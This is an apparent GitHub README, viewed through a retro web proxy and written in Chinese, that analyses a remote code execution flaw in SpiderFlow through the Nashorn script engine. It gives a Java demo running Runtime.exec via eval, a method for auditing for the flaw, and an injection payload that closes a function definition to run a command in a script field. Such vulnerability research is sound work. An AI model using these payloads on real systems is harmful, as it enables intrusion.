GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — JavaSec/spider-flow at main · m0unta1ner/JavaSec

Expand file tree

/

spider-flow

/
Copy path

Directory actions

More options

More options

Directory actions

More options

More options

Latest commit

 

History

History
History
 
 
/

spider-flow

/
Copy path

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
readme.assets
readme.assets
 
 
README.md
README.md
 
 

README.md

Outline

SpiderFlow RCE via Nashorn

前置知识

— Nashorn是什么?怎么用?

What

Nashorn是于Java 8中用于取代Rhino(Java 6,Java 7)的JavaScript引擎。

How

实现如何用Nashorn在Java中执行JS代码即可

image-20220102181550828

测试效果

image-20220102181612329

RCE

Nashorn定义了一个称为Java的新的全局对象,它包含许多有用的函数来使用Java包和类。

Java对象的 type()函数将Java类型导入脚本中。

示例

image-20220102182241321

那么如何弹计算器的呢?

示例

package org.spiderflow.demo;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
class JsFromJava{
    public static void main(String args[]) throws Exception {
        String evilJs="var RCETest= Java.type(\"java.lang\"+\".Runtime\"); var rt = RCETest.getRuntime(); rt.exec(\"calc\");";
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("nashorn");
        engine.eval(evilJs);
    }
}

image-20220102182630383

审计思路

有了上面的测试,审计这类漏洞尝试搜索.eval(等关键字即可,然后再看看源码是否实现jdk.nashorn.api.scripting.ClassFilter进行了过滤。

漏洞复现

  • 全局搜索.eval(

image-20220102183719108

  • 跟进

    • org.spiderflow.core.script.ScriptManager#registerFunction

      image-20220102184652005

    • org.spiderflow.core.script.ScriptManager#concatScript

      image-20220102184309834

  • 构造payload,闭合一下

    # function+functionName+(+parameters+)+{+script+}
    	functionName: rce
    	parameters: demo
    	script:	}Java.type("java.lang.Runtime").getRuntime().exec('calc');{
    # function rce(){demo}Java.type("java.lang.Runtime").getRuntime().exec('calc');{}

    复现效果:

    image-20220102191038717

You are visitor 01402520 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.